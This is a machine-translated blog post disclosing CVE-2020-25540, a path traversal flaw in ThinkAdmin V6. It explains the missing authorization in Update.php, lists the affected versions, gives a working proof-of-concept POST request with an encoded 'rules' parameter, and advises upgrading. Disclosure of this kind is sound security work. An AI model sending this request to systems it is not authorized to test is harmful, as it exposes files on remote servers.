当前位置:网站首页>Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
2022-07-03 00:15:00 【Lomi only bear】
0x00: Vulnerability profile :
ThinkAdmin It's a set of bases ThinkPHP Framework of the general background management system ,ThinkAdmin Rights management of is based on Standards RBAC Simplify , It eliminates the complicated node management , Make permission management simpler , Specifically, it includes node management 、 Rights management 、 Menu management 、 User management .
ThinkAdmin 6 There is a path traversal vulnerability in version . An attacker can exploit this vulnerability through GET Request encoding parameters to arbitrarily read files on the remote server .
0x01 Causes of loopholes :
https://github.com/zoujingli/ThinkAdmin/blob/v6/app/admin/controller/api/Update.php
Update.php Function method in is not authorized , Direct functions can be called directly . It leads to loopholes .
0x02 scope :
Thinkadmin Version less than ≤ 2020.08.03.01
0x03 Loophole recurrence :
POC: POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=%5B%22.%2F%22%5D
0x04 Repair suggestions :
Upgrade to the latest version
边栏推荐
- 哪些软件可以整篇翻译英文论文?
- MySQL Foundation
- [shutter] shutter open source project reference
- Installing redis under Linux
- How much do you know about synchronized?
- [shutter] open the third-party shutter project
- 顶级 DevOps 工具链大盘点
- yolov5test. Py comment
- Flexible combination of applications is a false proposition that has existed for 40 years
- 返回二叉树中最大的二叉搜索子树的根节点
猜你喜欢
TypeError: Cannot read properties of undefined (reading ***)
[shutter] shutter photo wall (center component | wrap component | clickrrect component | stack component | positioned component | button combination component)
Bigder:32/100 测试发现的bug开发认为不是bug怎么处理
流媒体技术优化
开源了 | 文心大模型ERNIE-Tiny轻量化技术,又准又快,效果全开
RTP 接发ps流工具改进(二)
Many to one, one to many processing
How QT exports data to PDF files (qpdfwriter User Guide)
Chapter 3 of getting started with MySQL: database creation and operation
Practical series - free commercial video material library
随机推荐
Codeforces Round #771 (Div. 2)---A-D
JDBC教程
AcWing_188. 武士风度的牛_bfs
sourcetree 详细
Slf4j + Logback日志框架
sysdig分析容器系统调用
容器运行时分析
[error record] the flutter reports an error (could not resolve io.flutter:flutter_embedding_debug:1.0.0.)
判断二叉树是否为满二叉树
Use of cocospods
collections. What is the purpose of chainmap- What is the purpose of collections. ChainMap?
Is there a specific format for English papers?
Bigder:32/100 测试发现的bug开发认为不是bug怎么处理
流媒体技术优化
论文的英文文献在哪找(除了知网)?
Many to one, one to many processing
Talk with the interviewer about the pit of MySQL sorting (including: duplicate data problem in order by limit page)
返回二叉树中最大的二叉搜索子树的根节点
Wechat applet basic learning (wxss)
英文论文有具体的格式吗?